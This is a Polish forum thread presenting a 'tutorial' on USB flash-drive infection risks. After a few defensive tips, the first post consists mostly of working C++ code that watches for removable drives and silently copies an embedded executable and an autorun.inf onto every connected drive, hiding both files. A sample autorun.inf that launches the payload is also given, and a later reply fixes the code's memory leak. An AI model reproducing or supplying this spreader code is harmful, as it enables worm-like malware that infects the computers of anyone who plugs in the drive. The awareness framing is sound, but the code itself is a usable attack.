Pokaż wyniki od 1 do 6 z 6

Temat: [Tutorial]Zagrożenia dla naszego pendrive

  1. #1
    Dawni Moderatorzy Avatar grzonu
    Dołączył
    26-12-2006
    Skąd
    Gdansk, Poland, Poland
    Posty
    1 392

    Domyślnie

    Zagrożenia w miejscach publicznych – chroń swój pendrive



    Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak:
    • Biblioteki
    • Kafejki internetowe
    • Szkolna pracownia internetowa

    Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.

    Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na Narzędzia -> Opcje folderów -> Widok.
    Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy Ukryj chronione pliki systemu windows od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.

    Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.


    Na początku dołączamy pliki nagłówkowe takie jak:
    Kod:
    #include <windows.h>
    #include <string>
    #include <vector>
    Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC
    Kod:
    void GetPendrives(std::vector<std::string>* pendrives)
    {
    char* bufor=new char[1024];
    DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow
    ******if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci
    ******{
    ******delete bufor;
    ******bufor=new char[need];
    ******GetLogicalDriveStrings(need,bufor);
    ******}
    int n=need/4; // ilosc dyskow
    std::string* dyski=new std::string[n];
    int i=0;
    
    while(i<n)
    {
    dyski[i]=(char*)(bufor+(i*4));
    i++;
    }
    
    
    pendrives->clear();//usuwamy wszystko co jest w vectorze
     
    
    i=0;
    while(i<n)
    {
     if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami
     {
     pendrives->push_back(dyski[i]);
     }
    i++;
    }
    }
    Teraz czas na inne potrzebne nam funkcje

    Kod:
    bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive
    {
    int n=vec.size();
    int i=0;
    while(i<n)
    {
     if(vec[i]==str)
     {
     return true;
     }
    i++;
    }
    return false;
    }
    
    
    bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow**
    {**
    bool result = false;**
     
     HRSRC hResource=NULL;
     
    
    ** hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA);**
    ** 
    ** if(!hResource)**
    ** {**
    ******return result;************** 
    ****}************** 
    ** if( hResource != NULL ){**
    ******HGLOBAL hLoader = LoadResource(NULL,hResource);**
    ******if( hLoader != NULL ){**
    ******** byte *data = (byte *)LockResource(hLoader);**
    ******** DWORD len = SizeofResource(NULL,hResource);**
    
    ******** if( data != NULL && len > 0 ){ 
    
    ************HANDLE hFile = CreateFile(filename,**
    ******************************GENERIC_READ | GENERIC_WRITE,**
    ******************************0,**
    ******************************NULL,**
    ******************************CREATE_ALWAYS,**
    ******************************FILE_ATTRIBUTE_NORMAL,**
    ******************************NULL);**
    ************if( hFile != INVALID_HANDLE_VALUE ){**
    ************** DWORD written = 0;**
    
    ************** int write = WriteFile(hFile,**
    ******************** data,**
    ******************** len,**
    ******************** &written,**
    ******************** NULL);**
    ************** if( len == written && write == TRUE )**
    ******************result = true;**
    ************}**
    ************CloseHandle(hFile);**
    ******** }**
    ******** UnlockResource(hLoader);**
    ******}**
    ******FreeResource(hLoader);**
    ** }**
    ** return result; 
    }

    A ten kod umieszczamy wewnatrz main:

    Kod:
    std::vector<std::string> vec;
    GetPendrives(&vec);
    int i=0;
    while(i<vec.size())
    {
    //w tym momecie wypakowujemy na wszystkie pendrivy nasz plik
    **//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
     std::string exe=vec[i];
     std::string autorun=vec[i];
     exe+="Start.exe";
     autorun+="autorun.inf";
     ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
     ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
     SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
     SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
     i++;
    }
    std::vector<std::string> tmp;
    int n=0;
    i=0;
    while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy
    {
    GetPendrives(&tmp);
    n=tmp.size();
    i=0;
    while(i<n)
    {
     if(!FindInVector(tmp[i].c_str(),vec))
     {
     //w tym momecie wypakowujemy na ten dysk nasz plik
    **//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
     std::string exe=tmp[i];
     std::string autorun=tmp[i];
     exe+="Start.exe";
     autorun+="autorun.inf";
     ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
     ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
     SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
     SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
    ** 
     }
    i++;
    }
    vec=tmp;
    Sleep(10000);
    }
    Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w google

    Przykładowy plik autorun:
    Kod:
    [autorun]
    OPEN=Start.exe
    shellexecute=Start.exe
    shell=Auto
    shell\Auto=&Autoplay
    shell\Auto\command=Start.exe
    Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005

    Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy

    Artykuł pochodzi ze strony http://grzonu.pl
    //jesli sie nada prosze o przeniesienie do tutoriali
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

  2. #2

    Domyślnie

    Dobry tut, choć dla "trochę bardziej zielonych"

  3. #3

    Domyślnie

    Ten problem występuje też w Viście?

  4. #4

    Domyślnie

    Raczej tak, jeszcze nie widziałem, żeby UAC blokował zapis na dyskach USB...

  5. #5
    Użytkownik Avatar Damn3d
    Dołączył
    17-04-2009
    Skąd
    Tokio
    Posty
    88

    Domyślnie

    Ten kod ma wycieki pamięci, chociaż jeżeli miała być to tylko demonstracja, to w niczym nie przeszkadza.

  6. #6
    Dawni Moderatorzy Avatar grzonu
    Dołączył
    26-12-2006
    Skąd
    Gdansk, Poland, Poland
    Posty
    1 392

    Domyślnie

    kod był pisany na szybko, nie ma charakteru programu tylko code snippets
    dodaj na koncu
    Kod:
    delete bufor
    i nie bedzie wyciekow
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

Podobne wątki

  1. Pytanie dot. zagrożenia wirusowego.
    Przez The Guide
    w forum Security
    Odpowiedzi: 7
    Ostatni post / autor: 29-05-2009, 15:24
  2. Proste zabezpieczenie naszego dema
    Przez hxv
    w forum Inne
    Odpowiedzi: 3
    Ostatni post / autor: 17-12-2008, 21:55
  3. Zagrożenia / ataki wewnętrzne
    Przez mkaiser
    w forum Inne
    Odpowiedzi: 0
    Ostatni post / autor: 13-10-2008, 09:44
  4. Orginalny pendrive
    Przez hxv
    w forum Sprzęt
    Odpowiedzi: 7
    Ostatni post / autor: 09-10-2008, 17:11
  5. Pendrive
    Przez aiiase
    w forum Inne
    Odpowiedzi: 3
    Ostatni post / autor: 13-05-2007, 17:07

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •